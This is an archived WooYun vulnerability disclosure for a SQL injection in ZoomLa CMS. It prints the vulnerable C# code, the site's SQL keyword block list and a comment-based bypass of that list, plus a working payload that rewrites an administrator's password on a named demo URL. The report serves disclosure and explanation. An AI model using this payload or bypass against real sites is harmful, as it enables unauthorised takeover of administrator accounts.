当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040915

漏洞标题:逐浪CMS通用型SQL注入3

相关厂商:逐浪CMS

漏洞作者: wefgod

提交时间:2013-11-19 02:40

修复时间:2013-11-24 02:40

公开时间:2013-11-24 02:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-19: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2013-11-24: 细节向公众公开

简要描述:

绕过了那个很简单的防注入。直接可以update管理员密码。

详细说明:

没什么太多可说的……就注入。

漏洞证明:

注入点:
http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx
页面的按钮点击事件:

protected void Btn_Click调用了b_Arrive.UpdateState(text);
public bool UpdateState(string ArriveNo)
{
string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'"; ///果断注入
return SqlHelper.ExecuteSql(sqlStr);
}


Page_Load方法里面有调用到了一个函数:
DataSecurity.StartProcessRequest();
上面这个函数具体是这样的:

public static void StartProcessRequest()
{
try
{
if (HttpContext.Current.Request.QueryString != null)
{
for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++)
{
string getkeys = HttpContext.Current.Request.QueryString.Keys[i];
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString[getkeys]))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
if (HttpContext.Current.Request.Form != null)
{
for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++)
{
string getkeys = HttpContext.Current.Request.Form.Keys[j];
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form[getkeys]))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
}
……
}


里面还调用到一个DataSecurity.ProcessSqlStr

public static bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
Str = Str.ToLower();
try
{
if (Str != "")
{
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
string[] anySqlStr = SqlStr.Split(new char[]
{
'|'
});
string[] array = anySqlStr;
for (int i = 0; i < array.Length; i++)
{
string ss = array[i];
if (Str.IndexOf(ss) >= 0)
{
ReturnValue = false;
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}


对于变量
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
里面的特征字符串,仅仅是做了一个很简单的匹配,很容易绕过,看例子:
在页面正常输入东西:

image019.png


提交的时候截断一下,改下优惠券编号的代码,如下:
1';update/**/zl_manager set adminpassword='c4ca4238a0b923820dcc509a6f75849b' where adminname='testuser'--
执行前管理密码是这样的:

image023.png


执行后是这样的:

image027.png


表明注入成功。

修复方案:

过滤,参数化查询。

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-11-24 02:40

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无